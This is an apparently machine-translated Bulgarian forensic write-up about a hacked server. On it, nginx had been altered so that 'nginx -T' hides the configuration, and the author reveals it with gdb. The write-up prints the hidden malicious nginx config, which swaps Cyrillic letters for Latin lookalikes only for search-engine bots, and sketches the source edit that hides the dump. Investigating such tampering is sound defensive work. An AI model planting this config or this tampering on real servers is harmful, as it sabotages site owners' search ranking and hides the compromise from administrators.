ΠšΠΎΠ³Π°Ρ‚ΠΎ "Π°" Π½Π΅ Π΅ Ρ€Π°Π²Π½ΠΎ Π½Π° "Π°". По слСдитС Π½Π° Ρ…Π°ΠΊ

Много нСприятна история сС случи с Π΅Π΄ΠΈΠ½ ΠΌΠΎΠΉ приятСл. Но ΠΊΠΎΠ»ΠΊΠΎΡ‚ΠΎ ΠΈ нСприятно Π΄Π° сС ΠΎΠΊΠ°Π·Π° Π·Π° ΠœΠΈΡ…Π°ΠΈΠ», Π·Π° ΠΌΠ΅Π½ бСшС ΡΡŠΡ‰ΠΎ Ρ‚ΠΎΠ»ΠΊΠΎΠ²Π° Π·Π°Π±Π°Π²Π½ΠΎ.

Врябва Π΄Π° ΠΊΠ°ΠΆΠ°, Ρ‡Π΅ моят приятСл Π΅ доста UNIX-ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»: ΠΌΠΎΠΆΠ΅ сам Π΄Π° инсталира систСмата MySQL, PHP ΠΈ ΠΏΡ€Π°Π²Π΅Ρ‚Π΅ прости настройки Nginx.
И Ρ‚ΠΎΠΉ ΠΈΠΌΠ° Π΄ΡƒΠ·ΠΈΠ½Π° ΠΈΠ»ΠΈ Π΅Π΄ΠΈΠ½ ΠΈ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Π° уСбсайтовС, посвСтСни Π½Π° строитСлни инструмСнти.

Π•Π΄ΠΈΠ½ ΠΎΡ‚ Ρ‚Π΅Π·ΠΈ сайтовС, посвСтСни Π½Π° Π²Π΅Ρ€ΠΈΠΆΠ½ΠΈ Ρ‚Ρ€ΠΈΠΎΠ½ΠΈ, сСди Ρ‚Π²ΡŠΡ€Π΄ΠΎ Π² ВОП Π½Π° Ρ‚ΡŠΡ€ΡΠ°Ρ‡ΠΊΠΈΡ‚Π΅. Π’ΠΎΠ·ΠΈ сайт Π΅ нСкомСрсиалСн Ρ€Π΅Ρ†Π΅Π½Π·Π΅Π½Ρ‚, Π½ΠΎ някой Π΅ ΠΏΡ€ΠΈΠ΄ΠΎΠ±ΠΈΠ» Π½Π°Π²ΠΈΠΊΠ° Π΄Π° Π³ΠΎ Π°Ρ‚Π°ΠΊΡƒΠ²Π°. Π§Π΅ DDoS, слСд Ρ‚ΠΎΠ²Π° Π³Ρ€ΡƒΠ±Π° сила, слСд Ρ‚ΠΎΠ²Π° ΠΏΠΈΡˆΠ°Ρ‚ Π½Π΅Ρ†Π΅Π½Π·ΡƒΡ€Π½ΠΈ ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈ ΠΈ ΠΈΠ·ΠΏΡ€Π°Ρ‰Π°Ρ‚ ΠΎΠ±ΠΈΠ΄ΠΈ към хостинга ΠΈ към RKN.
ИзвСднъТ всичко сС успокои ΠΈ Ρ‚ΠΎΠ²Π° спокойствиС Π½Π΅ сС ΠΎΠΊΠ°Π·Π° Π΄ΠΎΠ±Ρ€ΠΎ ΠΈ ΡΠ°ΠΉΡ‚ΡŠΡ‚ Π·Π°ΠΏΠΎΡ‡Π½Π° постСпСнно Π΄Π° напуска ΠΏΡŠΡ€Π²ΠΈΡ‚Π΅ Ρ€Π΅Π΄ΠΎΠ²Π΅ Π½Π° Ρ€Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚ΠΈΡ‚Π΅ ΠΎΡ‚ Ρ‚ΡŠΡ€ΡΠ΅Π½Π΅Ρ‚ΠΎ.

ΠšΠΎΠ³Π°Ρ‚ΠΎ "Π°" Π½Π΅ Π΅ Ρ€Π°Π²Π½ΠΎ Π½Π° "Π°". Π’ Ρ€Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚ Π½Π° Π΅Π΄ΠΈΠ½ Ρ…Π°ΠΊ

Π’ΠΎΠ²Π° бСшС ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΊΠ°, слСд Ρ‚ΠΎΠ²Π° самата история Π½Π° администратора.

НаблиТавашС Π²Ρ€Π΅ΠΌΠ΅Ρ‚ΠΎ Π·Π° ляганС, ΠΊΠΎΠ³Π°Ρ‚ΠΎ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½ΡŠΡ‚ иззвъня: β€žΠ‘Π°Π½, няма Π»ΠΈ Π΄Π° поглСднСш ΡΡŠΡ€Π²ΡŠΡ€Π° ΠΌΠΈ? Π‘Ρ‚Ρ€ΡƒΠ²Π° ΠΌΠΈ сС, Ρ‡Π΅ бях Ρ…Π°ΠΊΠ½Π°Ρ‚, Π½Π΅ ΠΌΠΎΠ³Π° Π΄Π° Π³ΠΎ Π΄ΠΎΠΊΠ°ΠΆΠ°, Π½ΠΎ чувството Π½Π΅ ΠΌΠ΅ напуска Π²Π΅Ρ‡Π΅ Ρ‚Ρ€Π΅Ρ‚Π° сСдмица. МоТС Π±ΠΈ просто Π΅ Π²Ρ€Π΅ΠΌΠ΅ Π΄Π° сС Π»Π΅ΠΊΡƒΠ²Π°ΠΌ ΠΎΡ‚ параноя?β€œ

ПослСдва половинчасова дискусия, която ΠΌΠΎΠΆΠ΅ Π΄Π° сС ΠΎΠ±ΠΎΠ±Ρ‰ΠΈ ΠΏΠΎ слСдния Π½Π°Ρ‡ΠΈΠ½:

  • ΠΏΠΎΡ‡Π²Π°Ρ‚Π° Π·Π° хакСрство бСшС доста ΠΏΠ»ΠΎΠ΄ΠΎΡ€ΠΎΠ΄Π½Π°;
  • нападатСлят ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈ ΠΏΡ€Π°Π²Π° Π½Π° супСрпотрСбитСл;
  • Π°Ρ‚Π°ΠΊΠ°Ρ‚Π° (Π°ΠΊΠΎ сС Π΅ ΡΡŠΡΡ‚ΠΎΡΠ»Π°) Π΅ Π±ΠΈΠ»Π° насочСна ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎ към Ρ‚ΠΎΠ·ΠΈ сайт;
  • ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ½ΠΈΡ‚Π΅ Π·ΠΎΠ½ΠΈ са ΠΊΠΎΡ€ΠΈΠ³ΠΈΡ€Π°Π½ΠΈ ΠΈ просто трябва Π΄Π° Ρ€Π°Π·Π±Π΅Ρ€Π΅Ρ‚Π΅ Π΄Π°Π»ΠΈ Π΅ ΠΈΠΌΠ°Π»ΠΎ ΠΏΡ€ΠΎΠ½ΠΈΠΊΠ²Π°Π½Π΅;
  • Ρ…Π°ΠΊΡŠΡ‚ Π½Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° засСгнС ΠΊΠΎΠ΄Π° Π½Π° сайта ΠΈ Π±Π°Π·ΠΈΡ‚Π΅ Π΄Π°Π½Π½ΠΈ.

ΠžΡ‚Π½ΠΎΡΠ½ΠΎ послСдната Ρ‚ΠΎΡ‡ΠΊΠ°.

ΠšΠΎΠ³Π°Ρ‚ΠΎ "Π°" Π½Π΅ Π΅ Ρ€Π°Π²Π½ΠΎ Π½Π° "Π°". Π’ Ρ€Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚ Π½Π° Π΅Π΄ΠΈΠ½ Ρ…Π°ΠΊ

Π‘Π°ΠΌΠΎ бялото IP Π»ΠΈΡ†Π΅Π²ΠΎ Π»ΠΈΡ†Π΅ Π³Π»Π΅Π΄Π° към свСта. Няма ΠΎΠ±ΠΌΠ΅Π½ ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Π΅ΠΊΠ΅Π½Π΄Π° ΠΈ Ρ„Ρ€ΠΎΠ½Ρ‚Π΅Π½Π΄Π° освСн http(s), ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈΡ‚Π΅/ΠΏΠ°Ρ€ΠΎΠ»ΠΈΡ‚Π΅ са Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΈ, Π½Π΅ са Ρ€Π°Π·ΠΌΠ΅Π½Π΅Π½ΠΈ ΠΊΠ»ΡŽΡ‡ΠΎΠ²Π΅. На сивитС адрСси всички ΠΏΠΎΡ€Ρ‚ΠΎΠ²Π΅ с ΠΈΠ·ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π½Π° 80/443 са Π·Π°Ρ‚Π²ΠΎΡ€Π΅Π½ΠΈ. Π‘Π΅Π»ΠΈΡ‚Π΅ IP адрСси са извСстни само Π½Π° Π΄Π²Π°ΠΌΠ° ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ, Π½Π° ΠΊΠΎΠΈΡ‚ΠΎ ΠœΠΈΡ…Π°ΠΈΠ» ΠΈΠΌΠ° пълно Π΄ΠΎΠ²Π΅Ρ€ΠΈΠ΅.

Π˜Π½ΡΡ‚Π°Π»ΠΈΡ€Π°Π½ Π½Π° Ρ„Ρ€ΠΎΠ½Ρ‚Π΅Π½Π΄Π° Debian 9 ΠΈ Π΄ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° Π½Π° ΠΎΠ±Π°ΠΆΠ΄Π°Π½Π΅Ρ‚ΠΎ систСмата Π΅ ΠΈΠ·ΠΎΠ»ΠΈΡ€Π°Π½Π° ΠΎΡ‚ свСта Ρ‡Ρ€Π΅Π· външна Π·Π°Ρ‰ΠΈΡ‚Π½Π° стСна ΠΈ спряна.

β€žΠ”ΠΎΠ±Ρ€Π΅, Π΄Π°ΠΉ ΠΌΠΈ Π΄ΠΎΡΡ‚ΡŠΠΏβ€œ, Ρ€Π΅ΡˆΠ°Π²Π°ΠΌ Π΄Π° ΠΎΡ‚Π»ΠΎΠΆΠ° съня Π·Π° час. β€” Π©Π΅ видя с ΠΎΡ‡ΠΈΡ‚Π΅ си.

Π’ΡƒΠΊ ΠΈ ΠΏΠΎ-Π½Π°Ρ‚Π°Ρ‚ΡŠΠΊ:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Π’ΡŠΡ€ΡΡ възмоТСн Ρ…Π°ΠΊ

Π‘Ρ‚Π°Ρ€Ρ‚ΠΈΡ€Π°ΠΌ ΡΡŠΡ€Π²ΡŠΡ€Π°, ΠΏΡŠΡ€Π²ΠΈ Π²Π»ΠΈΠ·Π°ΠΌ спаситСлСн Ρ€Π΅ΠΆΠΈΠΌ. ΠœΠΎΠ½Ρ‚ΠΈΡ€Π°ΠΌ дисковСтС ΠΈ Π³ΠΈ прСлиствам Π°Π²Ρ‚ΠΎΡ€-Ρ‚Ρ€ΡƒΠΏΠΈ, история, систСмни рСгистрационни Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ ΠΈ Ρ‚.Π½., Π°ΠΊΠΎ Π΅ възмоТно, провСрявам Π΄Π°Ρ‚ΠΈΡ‚Π΅ Π½Π° създаванС Π½Π° Ρ„Π°ΠΉΠ»Π°, Π²ΡŠΠΏΡ€Π΅ΠΊΠΈ Ρ‡Π΅ Ρ€Π°Π·Π±ΠΈΡ€Π°ΠΌ, Ρ‡Π΅ Π½ΠΎΡ€ΠΌΠ°Π»Π΅Π½ ΠΊΡ€Π°ΠΊΠ΅Ρ€ Π±ΠΈ β€žΠΏΠΎΠΌΠ΅Π»β€œ слСд сСбС си, Π° Миша Π²Π΅Ρ‡Π΅ бСшС β€žΠΏΠΎΡ‚ΡŠΠΏΠΊΠ°Π»β€œ ΠΌΠ½ΠΎΠ³ΠΎ, Π΄ΠΎΠΊΠ°Ρ‚ΠΎ сС Ρ‚ΡŠΡ€ΡΠ΅ΡˆΠ΅ .

Π‘Ρ‚Π°Ρ€Ρ‚ΠΈΡ€Π°ΠΌ Π² Π½ΠΎΡ€ΠΌΠ°Π»Π΅Π½ Ρ€Π΅ΠΆΠΈΠΌ, всС ΠΎΡ‰Π΅ Π½Π΅ Ρ€Π°Π·Π±ΠΈΡ€Π°ΠΌ ΠΊΠ°ΠΊΠ²ΠΎ Π΄Π° Ρ‚ΡŠΡ€ΡΡ, ΠΈΠ·ΡƒΡ‡Π°Π²Π°ΠΌ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈΡ‚Π΅. ΠŸΡ€Π΅Π΄ΠΈ всичко сС интСрСсувам ΠΎΡ‚ Nginx Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ ΠΊΠ°Ρ‚ΠΎ цяло няма Π½ΠΈΡ‰ΠΎ Π΄Ρ€ΡƒΠ³ΠΎ Π½Π° Ρ„Ρ€ΠΎΠ½Ρ‚Π΅Π½Π΄Π° освСн Π½Π΅Π³ΠΎ.
ΠšΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈΡ‚Π΅ са ΠΌΠ°Π»ΠΊΠΈ, Π΄ΠΎΠ±Ρ€Π΅ структурирани Π² Π΄ΡƒΠ·ΠΈΠ½Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅, просто Π³ΠΈ ΠΏΡ€Π΅Π³Π»Π΅ΠΆΠ΄Π°ΠΌ ΠΊΠΎΡ‚ΠΊΠ°ΠΎ Π΅Π΄ΠΈΠ½ ΠΏΠΎ Π΅Π΄ΠΈΠ½. Всичко ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π° чисто, Π½ΠΎ Π½ΠΈΠΊΠΎΠ³Π° Π½Π΅ сС Π·Π½Π°Π΅ Π΄Π°Π»ΠΈ съм пропуснал Π½Π΅Ρ‰ΠΎ include, ΠΏΠΎΠ·Π²ΠΎΠ»Π΅Ρ‚Π΅ ΠΌΠΈ Π΄Π° направя пълСн списък:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

НС Ρ€Π°Π·Π±Ρ€Π°Ρ…: β€žΠšΡŠΠ΄Π΅ Π΅ обявата?β€œ

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Към Π²ΡŠΠΏΡ€ΠΎΡΠ° Π·Π° списъка сС добавя Π²Ρ‚ΠΎΡ€ΠΈ Π²ΡŠΠΏΡ€ΠΎΡ: β€žΠ—Π°Ρ‰ΠΎ Ρ‚ΠΎΠ»ΠΊΠΎΠ²Π° Π΄Ρ€Π΅Π²Π½Π° вСрсия Π½Π° nginx?β€œ

ОсвСн Ρ‚ΠΎΠ²Π° систСмата смята, Ρ‡Π΅ Π΅ инсталирана Π½Π°ΠΉ-Π½ΠΎΠ²Π°Ρ‚Π° вСрсия:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Π²ΠΈΠΊΠ°ΠΌ:
- Миша, Π·Π°Ρ‰ΠΎ сС ΡΡŠΠ±Ρ€Π° ΠΎΡ‚Π½ΠΎΠ²ΠΎ Nginx?
- Π§Π°ΠΊΠ°ΠΉ, Π΄ΠΎΡ€ΠΈ Π½Π΅ Π·Π½Π°ΠΌ ΠΊΠ°ΠΊ Π΄Π° направя Ρ‚ΠΎΠ²Π°!
- Π”ΠΎΠ±Ρ€Π΅, Π΄ΠΎΠ±Ρ€Π΅, заспивай...

Nginx Ρ‚ΠΎΠΉ Π΅ ясно Π²ΡŠΠ·ΡΡ‚Π°Π½ΠΎΠ²Π΅Π½ ΠΈ ΠΈΠ·Ρ…ΠΎΠ΄ΡŠΡ‚ ΠΎΡ‚ списъка с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° β€ž-Tβ€œ Π΅ скрит ΠΏΠΎΡ€Π°Π΄ΠΈ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°. Π’Π΅Ρ‡Π΅ няма Π½ΠΈΠΊΠ°ΠΊΠ²ΠΈ съмнСния Π·Π° Ρ…Π°ΠΊΠ²Π°Π½Π΅ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ просто Π΄Π° Π³ΠΎ ΠΏΡ€ΠΈΠ΅ΠΌΠ΅Ρ‚Π΅ ΠΈ (Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ Миша всС ΠΏΠ°ΠΊ смСни ΡΡŠΡ€Π²ΡŠΡ€Π° с Π½ΠΎΠ²) Π΄Π° считатС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π·Π° Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½.

И наистина, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ някой ΠΏΠΎΠ»ΡƒΡ‡ΠΈ ΠΏΡ€Π°Π²Π°Ρ‚Π° ΠΊΠΎΡ€Π΅Π½'Π°, Ρ‚ΠΎΠ³Π°Π²Π° ΠΈΠΌΠ° смисъл Π΄Π° сС ΠΏΡ€Π°Π²ΠΈ прСинсталирайтС систСмата, ΠΈ бСшС Π±Π΅Π·ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π΄Π° Ρ‚ΡŠΡ€ΡΠΈΠΌ ΠΊΠ°ΠΊΠ²ΠΎ Π½Π΅ Π΅ Π½Π°Ρ€Π΅Π΄ Ρ‚Π°ΠΌ, Π½ΠΎ Ρ‚ΠΎΠ·ΠΈ ΠΏΡŠΡ‚ Π»ΡŽΠ±ΠΎΠΏΠΈΡ‚ΡΡ‚Π²ΠΎΡ‚ΠΎ ΠΏΠΎΠ±Π΅Π΄ΠΈ съня. Как ΠΌΠΎΠΆΠ΅ΠΌ Π΄Π° Ρ€Π°Π·Π±Π΅Ρ€Π΅ΠΌ ΠΊΠ°ΠΊΠ²ΠΎ са искали Π΄Π° скрият ΠΎΡ‚ нас?

НСка сС ΠΎΠΏΠΈΡ‚Π°ΠΌΠ΅ Π΄Π° прослСдим:

$ strace nginx -T

Π“Π»Π΅Π΄Π°ΠΌΠ΅ Π³ΠΎ, ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ няма Π΄ΠΎΡΡ‚Π°Ρ‚ΡŠΡ‡Π½ΠΎ Π»ΠΈΠ½ΠΈΠΈ Π² слСдата Π° Π»Π°

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Π‘Π°ΠΌΠΎ Π·Π° Π·Π°Π±Π°Π²Π»Π΅Π½ΠΈΠ΅, Π½Π΅ΠΊΠ° сравним констатациитС.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Мисля, Ρ‡Π΅ част ΠΎΡ‚ ΠΊΠΎΠ΄Π° /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

бСшС свСдСн Π΄ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ΠΈΠ»ΠΈ

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

слСдоватСлно ΡΠΏΠΈΡΡŠΠΊΡŠΡ‚ с "-T" Π½Π΅ сС ΠΏΠΎΠΊΠ°Π·Π²Π°.

Но ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ΅ΠΌ Π΄Π° Π²ΠΈΠ΄ΠΈΠΌ Π½Π°ΡˆΠ°Ρ‚Π° конфигурация?

Ако ΠΌΠΈΡΡŠΠ»Ρ‚Π° ΠΌΠΈ Π΅ вярна ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ Π΅ само Π² ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°Ρ‚Π° ngx_dump_config Π½Π΅ΠΊΠ° сС ΠΎΠΏΠΈΡ‚Π°ΠΌΠ΅ Π΄Π° Π³ΠΎ инсталирамС с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° GDB, Π·Π° щастиС ΠΈΠΌΠ° ΠΊΠ»ΡŽΡ‡ --with-cc-opt -g ΠΏΡ€ΠΈΡΡŠΡΡ‚Π²Π° ΠΈ сС надявам, Ρ‡Π΅ оптимизацията -O2 няма Π΄Π° Π½ΠΈ Π½Π°Ρ€Π°Π½ΠΈ. Π’ ΡΡŠΡ‰ΠΎΡ‚ΠΎ Π²Ρ€Π΅ΠΌΠ΅, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ Π½Π΅ Π·Π½Π°ΠΌ ΠΊΠ°ΠΊ ngx_dump_config ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° Π±ΡŠΠ΄Π°Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π΅Π½ΠΈ Π² случай "Π’":, Π½ΠΈΠ΅ няма Π΄Π° ΠΈΠ·Π²ΠΈΠΊΠ°ΠΌΠ΅ Ρ‚ΠΎΠ·ΠΈ Π±Π»ΠΎΠΊ, Π° Ρ‰Π΅ Π³ΠΎ инсталирамС с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° случай 't':

Π—Π°Ρ‰ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚Π΅ '-t', ΠΊΠ°ΠΊΡ‚ΠΎ ΠΈ '-T'Π‘Π»ΠΎΠΊΠΎΠ²Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π°ΠΊΠΎ (ngx_dump_config) случва Π²ΡŠΡ‚Ρ€Π΅ Π°ΠΊΠΎ (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Π Π°Π·Π±ΠΈΡ€Π° сС, Π°ΠΊΠΎ ΠΊΠΎΠ΄ΡŠΡ‚ Π΅ ΠΏΡ€ΠΎΠΌΠ΅Π½Π΅Π½ Π² Ρ‚Π°Π·ΠΈ част, Π° Π½Π΅ Π² случай "Π’":, Ρ‚ΠΎΠ³Π°Π²Π° моят ΠΌΠ΅Ρ‚ΠΎΠ΄ няма Π΄Π° Ρ€Π°Π±ΠΎΡ‚ΠΈ.

ВСствайтС nginx.confΠ‘Π»Π΅Π΄ ΠΊΠ°Ρ‚ΠΎ Π²Π΅Ρ‡Π΅ Π΅ Ρ€Π΅ΡˆΠ΅Π½ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ СкспСримСнтално, бСшС установСно, Ρ‡Π΅ Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠ° ΠΌΠΈΠ½ΠΈΠΌΠ°Π»Π½Π° конфигурация, Π·Π° Π΄Π° Ρ€Π°Π±ΠΎΡ‚ΠΈ зловрСдният софтуСр Nginx Π’ΠΈΠΏ:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Π©Π΅ Π³ΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ Π·Π° краткост Π² статията.

Π‘Ρ‚Π°Ρ€Ρ‚ΠΈΡ€Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ°Ρ‚Π° Π·Π° отстраняванС Π½Π° Π³Ρ€Π΅ΡˆΠΊΠΈ

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map ΠΎ:$sign_user_agent:$sign_uri $sign_o
{
ΠΎ:1:0 o;
default ΠΎ;
}

map Π°:$sign_user_agent:$sign_uri $sign_a
{
Π°:1:0 a;
default Π°;
}

sub_filter_once off;
sub_filter 'ΠΎ' $sign_o;
sub_filter 'Π°' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Π‘Ρ‚ΡŠΠΏΠΊΠ° ΠΏΠΎ ΡΡ‚ΡŠΠΏΠΊΠ°:

  • Π·Π°Π΄Π°ΠΉΡ‚Π΅ Ρ‚ΠΎΡ‡ΠΊΠ° Π½Π° ΠΏΡ€Π΅ΠΊΡŠΡΠ²Π°Π½Π΅ във функцията ΠžΡΠ½ΠΎΠ²Π½Π°Ρ‚Π° ()
  • стартирайтС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ°Ρ‚Π°
  • ΠΏΡ€ΠΎΠΌΠ΅Π½Π΅Ρ‚Π΅ стойността Π½Π° ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°Ρ‚Π°, която опрСдСля ΠΈΠ·Ρ…ΠΎΠ΄Π° Π½Π° ΠΊΠΎΠ½Ρ„ΠΈΠ³ ngx_dump_config=1
  • ΠΏΡ€ΠΎΠ΄ΡŠΠ»ΠΆΠ°Π²Π°Π½Π΅/прСкратяванС Π½Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ°Ρ‚Π°

ΠšΠ°ΠΊΡ‚ΠΎ Π²ΠΈΠΆΠ΄Π°ΠΌΠ΅, истинската конфигурация сС Ρ€Π°Π·Π»ΠΈΡ‡Π°Π²Π° ΠΎΡ‚ Π½Π°ΡˆΠ°Ρ‚Π°, Π½ΠΈΠ΅ ΠΈΠ·Π±ΠΈΡ€Π°ΠΌΠ΅ ΠΏΠ°Ρ€Π°Π·ΠΈΡ‚Π½Π° част ΠΎΡ‚ нСя:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map ΠΎ:$sign_user_agent:$sign_uri $sign_o
{
ΠΎ:1:0 o;
default ΠΎ;
}

map Π°:$sign_user_agent:$sign_uri $sign_a
{
Π°:1:0 a;
default Π°;
}

sub_filter_once off;
sub_filter 'ΠΎ' $sign_o;
sub_filter 'Π°' $sign_a;

НСка Π΄Π° Ρ€Π°Π·Π³Π»Π΅Π΄Π°ΠΌΠ΅ ΠΏΠΎ Ρ€Π΅Π΄ ΠΊΠ°ΠΊΠ²ΠΎ сС случва Ρ‚ΡƒΠΊ.

РСшСн User-Agentyandex/google на:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Π‘Π΅Ρ€Π²ΠΈΠ·Π½ΠΈΡ‚Π΅ страници са ΠΈΠ·ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈ WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

И Π·Π° Ρ‚Π΅Π·ΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ ΠΏΠΎΠΏΠ°Π΄Π°Ρ‚ ΠΈ Π² Π΄Π²Π΅Ρ‚Π΅ Π³ΠΎΡ€Π½ΠΈ условия

map ΠΎ:$sign_user_agent:$sign_uri $sign_o
{
ΠΎ:1:0 o;
default ΠΎ;
}

map Π°:$sign_user_agent:$sign_uri $sign_a
{
Π°:1:0 a;
default Π°;
}

Π² тСкста HTML-промяна Π½Π° страницитС "О" Π½Π° 'ΠΎ' ΠΈ "А" Π½Π° "Π°":

sub_filter_once off;
sub_filter 'ΠΎ' $sign_o;
sub_filter 'Π°' $sign_a;

